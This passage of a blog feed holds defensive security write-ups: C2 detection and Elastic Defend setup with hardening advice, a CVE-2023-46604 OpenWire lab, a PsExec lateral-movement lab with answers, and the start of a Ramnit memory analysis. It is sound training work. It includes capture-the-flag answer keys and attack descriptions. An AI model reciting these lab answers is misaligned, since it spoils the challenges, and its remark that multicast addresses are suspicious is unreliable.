(HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run).</li><li><strong>Driver loads</strong> (Event ID 17) that could represent malicious kernel-mode drivers used to bypass security.</li></ul><p>6. <strong>Use of Scheduled Tasks or WMI for Persistence:</strong></p><ul><li><strong>Data Source</strong>: Windows Event Logs, Sysmon Logs (Elastic SIEM’s “Scheduled Tasks” table)</li><li><strong>Relevant Event IDs</strong>:<br>- <strong>Sysmon Event ID 25</strong>: WMI event subscription</li><li><strong>Columns</strong>: Timestamp, ScheduledTask.Name, ScheduledTask.Command, User.Name, Process.FileName, Process.CommandLine</li></ul><p>Attackers often use <strong>WMI or Scheduled Tasks</strong> for persistence and lateral movement, setting tasks to run periodically. Investigate any anomalous tasks or WMI subscriptions (Sysmon Event ID 25).</p><p><strong>Columns Explanation in C2 Beacon Detection</strong></p><ul><li><strong>Timestamp</strong>: Identifies the exact time an event occurred, crucial for reconstructing the attack timeline.</li><li><strong>Event Code</strong>: Differentiates between specific Windows/Sysmon events (e.g., process creation, network connection).</li><li><strong>Event Type</strong>: Defines the action performed (e.g., File Created, Process Started).</li><li><strong>Host Name</strong>: Shows which host system the event took place on.</li><li><strong>Username / User SID</strong>: Indicates which user or service account triggered the action, potentially identifying compromised accounts.</li><li><strong>Process File Name / Parent File Name</strong>: The executable files responsible for suspicious actions.</li><li><strong>Original File Name</strong>: The legitimate name of the executable or script (useful in cases of masquerading).</li><li><strong>PID / Parent PID</strong>: Process ID and Parent Process ID that help trace process lineage.</li><li><strong>Caller PID</strong>: Can identify which process invoked a suspicious call.</li><li><strong>Process Command Line / Parent Command Line</strong>: Shows the exact command used to launch the process, helpful in identifying PowerShell or CMD abuse.</li><li><strong>File Hash</strong>: Represents a file’s integrity and can be cross-referenced with threat intelligence services for malware detection.</li></ul><p><strong>Free Open-Source Tools for Scanning Suspicious IPs and Files</strong></p><ul><li><strong>VirusTotal</strong>: Submit file hashes, IP addresses, and URLs to cross-reference against global threat databases.</li><li><strong>CriminalIP</strong>: An IP and domain reputation tool for identifying potential malicious activities.</li><li><strong>Cisco Talos</strong>: Provides threat intelligence on IPs, domains, and file hashes.</li><li><strong>MetaDefender</strong>: Scans files and URLs using multiple antivirus engines.</li><li><strong>Abuse CH</strong>: Provides free threat intelligence on malware, botnets, and C2 infrastructures.</li></ul><p>References:</p><ul><li><a href="https://thedfirreport.com/2021/08/29/cobalt-strike-a-defenders-guide/">Cobalt Strike, a Defender’s Guide — The DFIR Report</a></li><li><a href="https://thedfirreport.com/2022/01/24/cobalt-strike-a-defenders-guide-part-2/">https://thedfirreport.com/2022/01/24/cobalt-strike-a-defenders-guide-part-2/</a></li><li><a href="https://www.youtube.com/watch?v=b11TuDx_CjU&amp;t=11s">Investigate Mythic Agent | Day 28 (youtube.com)</a></li></ul><p><strong>Day 7: Setup Elastic Defend</strong></p><p>Objective:</p><ul><li>Install Elastic EDR (Elastic Defend)</li></ul><p>Firstly, I navigated to Elastic Web UI -&gt; Management -&gt; Integrations.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HljbgmzzQuXa4R6f968ttg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Om_q0JkjuwCsm3hYtzKhbg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LY-3Hwb5P8LG4EPWMp7cMg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XauQ1KpdubZp2KLnFxfDTw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eiPsXc4jKQxi3F4tOzeJnA.png" /></figure><p>I attempted to run the C2 beacon on my Windows Server and got blocked by the Elastic EDR.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hPUBbSvnTq4aCaa_kHUO2g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KcfqxbLzvq49YbXFvktTmA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NYkvoxNskYM6V_L-YNZtbA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8xPwO6UUDWtO5TiNNrbdbw.png" /><figcaption>You can configure the response. I would suggest “Isolate” to avoid accidentally killing legitimate process.</figcaption></figure><p><strong>Conclusion:</strong></p><p>To safeguard your organization against brute force attacks, Command and Control (C2) threats, and other cyber-attacks, a multi-layered security strategy is essential. This strategy should include fundamental security hygiene, advanced threat detection tools, and robust identity management. Remember, security hygiene is more about cultivating a culture than merely adopting advanced technologies and relying on them. Additionally, ensure that end-users are trained to stay aware and vigilant of cyber threats. These are just the basics; there are many more security practices to consider. Cybersecurity is a continuous effort that involves not only cybersecurity professionals but everyone in the organization.</p><ol><li><strong>Start with Basic Security Hygiene:</strong></li></ol><p>Basic security practices are the foundation of your defense and help reduce the attack surface.</p><p><strong>Strong Password Policies</strong>:</p><ul><li>Ensure users create <strong>complex passwords</strong> (at least 12–16 characters) that include upper/lowercase letters, numbers, and special characters.</li><li>Implement <strong>Multi-Factor Authentication (MFA)</strong> for all users, especially for admin accounts, to add an extra layer of security beyond just passwords.</li><li>Enforce <strong>regular password updates</strong> and use a <strong>password manager</strong> to store and create secure credentials.</li></ul><p><strong>Limit CMD, PowerShell, and Remote Protocols (ssh, rdp, etc.) Access for Non-Admin Users</strong>:</p><ul><li>Attackers often misuse <strong>cmd</strong>, <strong>PowerShell, </strong>and <strong>remote access protocols </strong>to execute malicious scripts and take control of host machines. Limit their usage to <strong>only admins</strong> or specific users who need it for business.</li></ul><p><strong>Enforce Least Privilege</strong>:</p><ul><li>Users should only have the <strong>minimum access</strong> necessary to perform their job.</li><li><strong>Prevent end-users from downloading or executing software</strong> without admin privileges to stop potential malware infections.</li><li>Ensure that</li></ul><p><strong>User Training:</strong></p><ul><li>Train end users to identify and report cyber threats to the IT team.</li></ul><p>2. <strong>Apply Identity Access and Privileged Account Management:</strong></p><p>Managing access to sensitive accounts and ensuring proper identity controls can prevent attackers from easily compromising high-privilege accounts.</p><p><strong>IAM (Identity Access Management)</strong>:</p><ul><li>Use an IAM system to centrally manage <strong>user accounts</strong> and their access rights. IAM helps enforce the principle of least privilege by ensuring users only have access to the data they need.</li><li>Implement <strong>strong authentication measures</strong> (like MFA) across all accounts, especially for admins and privileged users.</li></ul><p><strong>PAM (Privileged Access Management)</strong>:</p><ul><li><strong>Privileged accounts</strong> (those with admin rights) are prime targets for attackers. Use a PAM solution to manage and monitor their use.</li><li><strong>Separate normal and privileged accounts</strong>: Admins should have two accounts — one for everyday tasks and a separate privileged account for admin functions. The privileged account should require <strong>strong authentication</strong> (e.g., MFA or hardware tokens).</li><li>Use PAM to set <strong>just-in-time (JIT) access</strong>: Admins receive elevated privileges only when necessary and for a limited period.</li></ul><p><strong>Strict Authentication for Privileged Accounts</strong>:</p><ul><li>Require <strong>MFA</strong> for all privileged account logins. Enforce <strong>session monitoring</strong> to track privileged users’ activities during their session.</li></ul><p>3. <strong>Strengthen Network Security:</strong></p><p>Your network is the highway for data and communication. Securing it ensures attackers can’t easily move within your environment.</p><p><strong>Network Segmentation</strong>:</p><ul><li>Break your network into smaller segments using <strong>VLANs (Virtual Local Area Networks)</strong>. This limits the damage in case one segment is compromised, preventing attackers from moving laterally across the network. Consider DMZ, etc.</li><li>Separate sensitive systems (like databases &amp; file server) from less critical systems (like user workstations) and apply strict access controls between them.</li></ul><p><strong>Port Security and ACLs (Access Control Lists)</strong>:</p><ul><li>Implement <strong>port security</strong> (Layer 2 level) to prevent unauthorized devices from connecting to your network.</li><li>Use <strong>ACLs</strong> (Layer 3 level) to define what traffic is allowed or denied based on IP addresses, users, and applications, ensuring that only legitimate connections are made.</li></ul><p><strong>802.1X Authentication</strong>:</p><ul><li>Use <strong>802.1X</strong> to authenticate users and devices before they connect to your network. This ensures that only <strong>trusted devices</strong> can access network resources.</li></ul><p><strong>VPN with Zero Trust Architecture</strong>:</p><ul><li>Implement a <strong>Zero Trust VPN</strong> approach, where no one is trusted by default, even within the network. This forces users and devices to continuously verify their identity and the legitimacy of their actions.</li><li>Apply <strong>least privilege</strong> principles to VPN access, ensuring users only connect to what they absolutely need.</li></ul><p><strong>Inbound and Outbound Rules</strong>:</p><ul><li>Configure <strong>firewall rules</strong> for both inbound and outbound traffic. Allow only necessary traffic into your network, and closely monitor outbound traffic to detect any attempts at <strong>data exfiltration</strong> or unauthorized communication with <strong>C2 servers</strong>.</li></ul><p>4. <strong>Implement a Defense-in-Depth Strategy:</strong></p><p>Defense-in-depth involves layering security tools so that if one control fails, others can still detect and prevent threats.</p><p><strong>EDR (Endpoint Detection and Response)/ XDR (Extended Detection and Response)</strong>:</p><ul><li>EDR tools monitor and respond to suspicious activity on endpoints (computers, mobile devices). They’re crucial for detecting <strong>advanced threats</strong> that traditional antivirus might miss, like malware associated with <strong>C2 activity</strong>.</li><li>XDR takes EDR further by <strong>integrating security data</strong> from multiple sources (endpoints, networks, servers) for a <strong>unified threat detection</strong>. This broadens your visibility across the entire organization, enabling quicker incident response.</li><li>Consider Behavorial-based Detection Technology, if possible.</li></ul><p><strong>SIEM (Security Information and Event Management)</strong>:</p><ul><li>SIEM solutions collect and analyze security logs from various systems. Use this tool to <strong>detect anomalies</strong>, such as brute force attempts or C2 traffic.</li><li>Create alerts for <strong>multiple failed login attempts</strong> or unusual network activity, which could indicate brute force or C2 communication.</li></ul><p><strong>Next-Gen Firewall (NGFW)</strong>:</p><ul><li>NGFWs are more powerful than traditional firewalls as they can inspect traffic for <strong>malicious payloads</strong> and <strong>block known bad IP addresses or domains</strong> (common in C2 attacks).</li></ul><p><strong>IPS/IDS (Intrusion Prevention/Detection Systems)</strong>:</p><ul><li><strong>IPS</strong> blocks incoming threats, while <strong>IDS</strong> detects them. Both are key in preventing brute force and C2 attacks by identifying and stopping malicious traffic before it reaches your internal network.</li></ul><p><strong>DLP (Data Loss Prevention):</strong></p><ul><li>DLP tools help you identify and prevent <strong>sensitive data from being exfiltrated</strong>. They’re crucial in preventing attackers from stealing confidential information after a successful breach or C2 compromise.</li></ul><p><strong>Email Security Gateway:</strong></p><ul><li>It is designed to monitor and protect an organization’s email communications from various threats such as spam, phishing, malware, and data leaks. It uses techniques like signature analysis, machine learning, and sandboxing to identify, scan, and block malicious emails before they reach recipients’ inboxes.</li></ul><p>5. <strong>Governance, Risk, and Compliance:</strong></p><p>A solid <strong>GRC framework</strong> ensures that security measures align with your organization’s objectives, legal requirements, and risk tolerance. It also helps maintain ongoing compliance with industry standards.</p><p><strong>Governance</strong>:</p><ul><li>Establish a <strong>cybersecurity policy</strong> that outlines the organization’s security expectations, roles, and responsibilities. This should cover areas like <strong>acceptable use of systems</strong>, <strong>incident response</strong>, and <strong>data protection</strong>.</li><li>Create a <strong>Security Steering Committee</strong> involving stakeholders from different departments to oversee security policies, risk assessments, and compliance efforts.</li></ul><p><strong>Risk Management</strong>:</p><ul><li>Perform <strong>regular risk assessments </strong>and <strong>vulnerability scanning </strong>to identify vulnerabilities, threats, and the potential impact of cyber-attacks. Prioritize risks based on their likelihood and impact.</li><li>Implement a <strong>risk mitigation plan</strong> that addresses identified risks, ensuring that all measures (e.g., patch management, access control) are continuously monitored and improved.</li></ul><p><strong>Compliance</strong>:</p><ul><li>Ensure adherence to relevant <strong>regulations and industry standards</strong> (e.g., <strong>GDPR</strong>, <strong>HIPAA</strong>, <strong>NIST</strong>, <strong>ISO 27001</strong>). Non-compliance can lead to fines and reputational damage.</li><li>Use <strong>automated compliance tools</strong> to continuously audit your systems and generate reports to prove compliance with various regulatory frameworks.</li></ul><p><strong>Security Audits and Reviews</strong>:</p><ul><li>Conduct <strong>regular security audits</strong> to verify the effectiveness of security controls and identify gaps. This includes auditing both <strong>technical configurations</strong> and <strong>organizational policies</strong>.</li><li>Implement <strong>internal compliance reviews</strong> and <strong>third-party assessments</strong> to ensure all security measures meet regulatory requirements and best practices.</li></ul><p><strong>Best Practices to Keep in Mind:</strong></p><ul><li><strong>Regularly Test, Update and Patch Systems</strong>: Ensure all software, firmware, and operating systems are up to date to reduce vulnerabilities.</li><li><strong>Monitor Logs</strong>: Use <strong>SIEM</strong> or similar tools to continuously monitor security logs for signs of brute force attempts or unusual activity indicative of C2 communications.</li><li><strong>User Awareness Training</strong>: Educate users about <strong>phishing attacks</strong>, strong passwords, and best security practices to prevent them from becoming entry points for attackers.</li></ul><p>Shout out to Youtuber <a href="https://www.youtube.com/@MyDFIR">MyDFIR </a>for this 30-day challenge!</p><p>Extra Resources:</p><ul><li>Setup the lab on premises: <a href="https://www.youtube.com/watch?v=GWX19cpv21w&amp;t=24s">On-Premise Setup Tutorial 30-Day MyDFIR SOC Analyst Challenge | BONUS (youtube.com)</a></li><li>Troubleshooting: <a href="https://www.youtube.com/watch?v=o-eR-tJlbqE&amp;t=8s">Troubleshooting 30-Day MyDFIR SOC Analyst Challenge | Day 29 (youtube.com)</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=08423acccda5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Network Forensics: OpenWire | Lab Write-up]]></title>
            <link>https://medium.com/@kltran0306/network-forensics-openwire-lab-write-up-415a3be9e78c?source=rss-0e38486fa80e------2</link>
            <guid isPermaLink="false">https://medium.com/p/415a3be9e78c</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[digital-forensics]]></category>
            <category><![CDATA[network-forensics]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Khoa]]></dc:creator>
            <pubDate>Thu, 29 Aug 2024 22:26:49 GMT</pubDate>
            <atom:updated>2024-08-29T22:26:49.940Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Tools: </strong>Wireshark</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/474/1*hlbKicDfeRr4MCN3fBonwA.jpeg" /></figure><p><strong>Overview:</strong></p><p><a href="https://www.trendmicro.com/en_us/research/23/k/cve-2023-46604-exploited-by-kinsing.html?cjdata=MXxOfDB8WXww&amp;PID=100357191&amp;SID=oc5A05L8E_cFrofF6SHThPbvuz904xv6ES6WTKEEg0lspGlw7gibcBnVKANsVjlI&amp;cjevent=b396379f664311ef82be002b0a82b824">CVE-2023–46604</a> is a critical vulnerability in Apache ActiveMQ, an open-source messaging server. The flaw allows remote attackers to execute arbitrary code by exploiting the ProcessBuilder class&#39;s start() method. This vulnerability has been actively exploited by the Kinsing malware, which uses it to deploy cryptominers and rootkits on compromised systems. The attack underscores the need for immediate patching and enhanced security measures to prevent exploitation.</p><p><a href="https://cyberdefenders.org/blueteam-ctf-challenges/openwire/"><strong>Lab Scenario</strong></a><strong>:</strong></p><p>As a tier-2 SOC analyst, you receive an escalation from a tier-1 analyst concerning a public-facing server flagged for outbound connections to multiple suspicious IP addresses. You promptly initiate the standard incident response protocol, isolating the server from the network to prevent potential lateral movement or data exfiltration. Additionally, you obtain a packet capture from the NSM utility for further analysis. Your primary task is to analyze the pcap and identify any signs of malicious activity.</p><p><strong>Question 1: By identifying the C2 IP, we can block traffic to and from this IP, helping to contain the breach and prevent further data exfiltration or command execution. Can you provide the IP of the C2 server that communicated with our server?</strong></p><p>I began examining HTTP traffic in Wireshark and analyzing the HTTP packets. During this analysis, I identified GET requests, made by our public-facing server, that retrieved an XML script from a strange IP address, which appeared suspicious.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e0ueDshWeW6PhH86ld3JPQ.png" /></figure><p><strong>Question 2: Initial entry points are critical to trace back the attack vector. What is the port number of the service the adversary exploited?</strong></p><p>I reviewed the Protocol Hierarchy and identified the OpenWire protocol, which is used by Apache ActiveMQ for client-server communication. This protocol facilitates message transmission between clients and the ActiveMQ broker. Consequently, I investigated the packets associated with this protocol.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q1VvvSYkaBcrlrLw_e0duQ.png" /></figure><p><strong>Question 3: Following up on the previous question, what is the name of the service found to be vulnerable?</strong></p><p>I researched the port number and found the answer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kpgJTY38sNIpXyuEwJWecw.png" /></figure><p><strong>Question 4: The attacker’s infrastructure often involves multiple components. What is the IP of the second C2 server?</strong></p><p>Using the same strategy on question 1, I saw one packet making connection with a server with the following user agent: curl/7.68.0 and found it was a bot/crawler - a bot or crawler is a computer program that automatically browses the web to collect and index information from websites.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lCCmONsFI_BZoCvnLONByg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GzSe2QU-FDq6d8XjwIhh7A.png" /></figure><p><strong>Question 5: Attackers usually leave traces on the disk. What is the name of the reverse shell executable dropped on the server?</strong></p><p>A reverse shell executable is a program that enables an attacker to take control of a target machine by initiating a connection from the target back to the attacker’s machine. This contrasts with a typical shell, where the attacker connects directly to the target. The solution to this question can be derived from the answer to question 4.</p><p><strong>Question 6: What Java class was invoked by the XML file to run the exploit?</strong></p><p>The keyword is “XML.” Thus, I went ahead and look for XML packets.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4NAoGQj8Hfmq-c-5SUS_4A.png" /></figure><p><strong>Question 7: To better understand the specific security flaw exploited, can you identify the CVE identifier associated with this vulnerability?</strong></p><p>I needed to conduct some research to address this question. The solution to question 3 holds the key to answering this one.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A7eESfwf_B6xQWYDw4g7sA.png" /></figure><p><strong>Question 8: What is the vulnerable Java method and class that allows an attacker to run arbitrary code? (Format: Class.Method)</strong></p><p>This question was really tough for me because I had to search a lot to find a good technical explanation of the vulnerability. Luckily, I found a helpful article that explained everything I needed to know.</p><p><a href="https://www.trendmicro.com/en_us/research/23/k/cve-2023-46604-exploited-by-kinsing.html?cjdata=MXxOfDB8WXww&amp;PID=100357191&amp;SID=oc5A05L8E_cFrofF6SHThPbvuz904xv6ES6WTKEEg0lspGlw7gibcBnVKANsVjlI&amp;cjevent=b396379f664311ef82be002b0a82b824">CVE-2023–46604 (Apache ActiveMQ) Vulnerability Exploited to Infect Systems With Cryptominers and Rootkits | Trend Micro (US)</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gTl1FJwDGcsYKQrozVmJng.png" /></figure><p><strong>Mitigation:</strong></p><p>To mitigate this vulnerability:</p><ul><li><strong>Update:</strong> Apply the latest security patches (<a href="https://activemq.apache.org/news/cve-2023-46604">ActiveMQ (apache.org)</a>).</li><li><strong>Restrict Access: </strong>Limit access to trusted IP addresses or networks to minimize exposure.</li><li><strong>Monitor and Audit:</strong> Regularly monitor network traffic, system logs, and audit system logs for unusual activity that could indicate exploitation attempts. Use network security measures such as firewalls and intrusion detection systems to block unauthorized access.</li><li><strong>Restrict User Permissions:</strong> Ensure that users have only the permissions necessary for their roles. For instance, administrative privileges should be limited to only those who need them. Implement RBAC to control what actions users can perform based on their role. This limits the potential damage from a compromised account.</li><li><strong>Separate Critical Functions:</strong> Isolate critical systems and functions so that a vulnerability in one part doesn’t give an attacker access to more sensitive areas.</li></ul><p>Thanks for reading!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=415a3be9e78c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Network Forensics: PSExec Hunt]]></title>
            <link>https://medium.com/@kltran0306/network-forensics-psexec-hunt-d839241f20b6?source=rss-0e38486fa80e------2</link>
            <guid isPermaLink="false">https://medium.com/p/d839241f20b6</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[network-forensics]]></category>
            <category><![CDATA[digital-forensics]]></category>
            <category><![CDATA[blue-team]]></category>
            <dc:creator><![CDATA[Khoa]]></dc:creator>
            <pubDate>Thu, 15 Aug 2024 22:15:08 GMT</pubDate>
            <atom:updated>2024-08-15T22:15:08.328Z</atom:updated>
            <content:encoded><![CDATA[<p><a href="https://cyberdefenders.org/blueteam-ctf-challenges/psexec-hunt/">CyberDefenders: Blue team CTF Challenges | PsExec Hunt</a></p><p><strong>Tools:</strong> Kali Linux, Wireshark, and VirusTotal</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yHyr0neVCHs2QDgZ-HJk3Q.jpeg" /></figure><p>PsExec is a legitimate system administration tool developed by Microsoft that allows administrators to execute commands on remote systems. However, it can be malicious when abused by attackers, enabling them to execute arbitrary code, move laterally within a network, escalate privileges, and maintain persistence across compromised systems. Since PsExec is often trusted and whitelisted by security tools, its malicious use can be difficult to detect, blending in with normal administrative activity and allowing attackers to bypass security measures unnoticed.</p><p>When misused, PsExec can facilitate the spread of malware or ransomware across a network, aid in data exfiltration, and allow attackers to gain and maintain unauthorized access to critical systems. Its ability to operate using high-level privileges makes it especially dangerous in the hands of a malicious actor.</p><p><strong>Scenario:</strong></p><p>Our Intrusion Detection System (IDS) has raised an alert, indicating suspicious lateral movement activity involving the use of PsExec. To effectively respond to this incident, your role as a SOC Analyst is to analyze the captured network traffic stored in a PCAP file.</p><p><strong>Question 1: </strong>In order to effectively trace the attacker’s activities within our network, can you determine the IP address of the machine where the attacker initially gained access?</p><p>Answer: 10.0.0.130</p><p>First, I navigated to “Statistics” -&gt; “Conversations” -&gt; “IPv4” to analyze the unusual IPv4 traffics by filtering the “Packets” column by descending order.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Hk1UPNma1omuVpePolj05g.png" /></figure><p>As you can see, there is an abnormal amount of traffics originated from 10.0.0.130, so let’s use the following filter to investigate packets associated with this IP address: <strong>ip.addr == 10.0.0.130.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SoNWvR7Vr_X637YDViqBvw.png" /></figure><p>This IP address has multiple SMB (Server Message Block) requests, which is extremely odd. If you are not familiar with SMB protocol, here is a quick explanation:</p><p>The Server Message Block (SMB) protocol is used for sharing files and printers over a network, but it can be dangerous if not properly secured. Hackers can exploit vulnerabilities in SMB to spread malware like ransomware or gain unauthorized access to systems. They can also trick SMB into letting them in without knowing the correct passwords or use it to spread viruses across a network.</p><p>Referring back to the image above, you can see that it is attacking 10.0.0.133 via the IPC network file share.</p><p><strong>Question 2: </strong>To fully comprehend the extent of the breach, can you determine the machine’s hostname to which the attacker first pivoted?</p><p>Answer: Sales-PC</p><p>On question 1, we have identified that the victim machine’s IP address is 10.0.0.133, so let’s find its hostname.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j0eSRAV1cRx2WBCz-05lVA.png" /></figure><p>I focused on finding the packets where the SMB session was successfully established between the compromised machine and victim machine.</p><p><strong>Question 3: </strong>After identifying the initial entry point, it’s crucial to understand how far the attacker has moved laterally within our network. Knowing the username of the account the attacker used for authentication will give us insights into the extent of the breach. What is the username utilized by the attacker for authentication?</p><p>Answer: ssales</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*inzVOB4oHZLu5pOn84d1AQ.png" /></figure><p>Continue investigating the pattern from question 2 and you will find the answer.</p><p><strong>Question 4: </strong>After figuring out how the attacker moved within our network, we need to know what they did on the target machine. What’s the name of the service executable the attacker set up on the target?</p><p>Answer: PSEXESVC.exe</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7wUbTCziz56Iys6zn6G1_Q.png" /></figure><p>By applying the same strategy from question 2 and 3, I managed to find the answer pretty quickly.</p><p><strong>Question 5: </strong>We need to know how the attacker installed the service on the compromised machine to understand the attacker’s lateral movement tactics. This can help identify other affected systems. Which network share was used by PsExec to install the service on the target machine?</p><p>Answer: ADMIN$</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6XNW1ArME3McehlFkIGApw.png" /></figure><p><strong>Question 6: </strong>We must identify the network share used to communicate between the two machines. Which network share did PsExec use for communication?</p><p>Answer: IPC$</p><p>Referring back to the analysis on Question 1, we have found out that 10.0.0.130 is attacking 10.0.0.133 via the IPC network file share.</p><p><strong>Question 7: </strong>Now that we have a clearer picture of the attacker’s activities on the compromised machine, it’s important to identify any further lateral movement. What is the machine’s hostname to which the attacker attempted to pivot within our network?</p><p>Answer: Marketing-PC</p><p>On this question, I once again navigated to “Statistics” -&gt; “Conversations” -&gt; “IPv4” to analyze the unusual IPv4 traffics, but this time, I focused more on the egress traffics. Then I found <a href="https://www.virustotal.com/gui/ip-address/239.255.255.250">239.255.255.250</a>, <a href="https://www.virustotal.com/gui/ip-address/224.0.0.22">224.0.0.22</a>, and <a href="https://www.virustotal.com/gui/ip-address/224.0.0.252">224.0.0.252</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WAtuGMErXe2DPfwkVGB9Rg.png" /></figure><p>Those are all suspicious IP addresses according to VirusTotal, so I applied the following filter to find packets associated with those addresses: <strong>ip.addr == 239.255.255.250 || ip.addr == 224.0.0.252 || ip.addr == 224.0.0.22.</strong></p><p>There were IGMPv3, LLMNR, and UDP protocols. I ignore IGMPv3 because Internet Group Management Protocol (IGMP) is a communication protocol used in IPv4 networks to manage multicast group memberships, where as, LLMNR caught my attention, and here is why:</p><p>LLMNR (Link-Local Multicast Name Resolution) is a protocol used by Windows machines to resolve hostnames when DNS is unavailable, but it is vulnerable to several attacks due to its reliance on broadcast requests and lack of authentication. Attackers on the same network can spoof responses to LLMNR requests, redirecting traffic to their own machines to capture sensitive information like usernames and passwords. They can also perform man-in-the-middle attacks, intercepting or altering communications. These vulnerabilities allow attackers to easily harvest credentials and gain unauthorized access to network resources, potentially leading to further network compromise.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z8Efrg9rkrvSkdlQb-os0Q.png" /></figure><p>You can see the query: “standard query 0x611b ANY Marketing-PC”</p><ul><li><strong>“standard query”</strong>: This indicates that it’s a standard DNS query.</li><li><strong>“0x611b”</strong>: This is a transaction ID used to match the query with its response. It’s a unique identifier for this particular query.</li><li><strong>“ANY”</strong>: This is a DNS query type that asks for all available information about the specified name, rather than a specific record type (like A or AAAA).</li><li><strong>“IN”</strong>: This is the class of the query, with “IN” standing for “Internet.” It indicates that the query is intended for Internet addresses, which is the most common class used in DNS queries.</li></ul><p>In short, the query “standard query 0x611b ANY Marketing-PC” with class “IN” is asking for any type of information about the hostname “Marketing-PC” and is broadcast over the local network. This setup can be vulnerable to attacks if not properly managed, as attackers might exploit these queries to intercept or manipulate network traffic.</p><p><strong>Mitigation:</strong></p><p>To mitigate these risks, organizations should monitor the usage of PsExec, enforce the principle of least privilege, and implement robust security measures like network segmentation and endpoint detection and response (EDR) solutions. Additionally, it’s also recommended to disable LLMNR, rely on proper DNS configuration, and use stronger authentication methods to protect against such attacks.</p><p>Thanks for reading!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d839241f20b6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Endpoint Forensics: Ramnit Malware]]></title>
            <link>https://medium.com/@kltran0306/endpoint-forensics-ramnit-malware-068a082adba4?source=rss-0e38486fa80e------2</link>
            <guid isPermaLink="false">https://medium.com/p/068a082adba4</guid>
            <category><![CDATA[digital-forensics]]></category>
            <dc:creator><![CDATA[Khoa]]></dc:creator>
            <pubDate>Tue, 06 Aug 2024 04:54:02 GMT</pubDate>
            <atom:updated>2024-08-06T04:54:02.104Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Tools: </strong>Kali Linux, Volatility3, and Hybrid Analysis</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/474/1*IyL-3eP8NOHcCg0GKDJKkw.jpeg" /></figure><p><a href="https://www.checkpoint.com/cyber-hub/threat-prevention/what-is-malware/ramnit-malware/">Ramnit</a> is a banking trojan that primarily targets Windows devices, spreading through infected executable, DLL, and HTML files. It is highly modular, allowing it to steal various credentials, including those for online banking, social media, and email accounts. Ramnit can also download and deploy other malware, making it particularly dangerous. Despite a significant takedown effort by Europol and Symantec in 2015, it remains a threat. Detection and removal typically involve using robust antimalware tools like Microsoft Defender Antivirus.</p><p>On this article, I’ll analyze a memory dump to trace the malware’s actions, and report key findings.</p><p><strong>Question 1: </strong>We need to identify the process responsible for this suspicious behavior. What is the name of the suspicious process?</p><p>Answer: chromesetup.exe</p><p>First, I analyzed the egress and ingress traffics on this memory dump. Then, I used open-source tools, such as VirusTotal and Hybrid Analysis to scan the public IP addresses for potential suspicious behaviors, and there were two IP addresses which I noted down: <em>152.199.19.161 </em>&amp; <em>58.64.204.181. </em>I used Hybrid Analysis to look for their behaviors, and after thorough analysis, <a href="https://www.hybrid-analysis.com/sample/1ac890f5fa78c857de42a112983357b0892537b73223d7ec1e1f43f8fc6b7496/6693ff8f1ae1f693d90005e7"><em>58.64.204.181 </em>is the attacker’s IP address</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_bLU90VHCrJyi1a9y_2WKg.png" /><figcaption><strong>Image 1: </strong>Suspicious behaviors of 58.64.204.181</figcaption></figure><p><strong>Question 2: </strong>To eradicate the malware, what is the exact file path of the process executable?</p><p>Answer: C:\Users\alex\Downloads\ChromeSetup.exe</p><p>On question 1, I ran the command: <em>python3 vol.py -f Ramnit.dmp windows.netscan </em>to list all network traffics, and that was how I found the attacker’s IP address. Thus, I noted down the PID associated with <em>58.64.204.181, </em>which was 4628. Moving forward, I ran the command: <em>python3 vol.py -f Ramnit.dmp windows.cmdlist — pid 4628 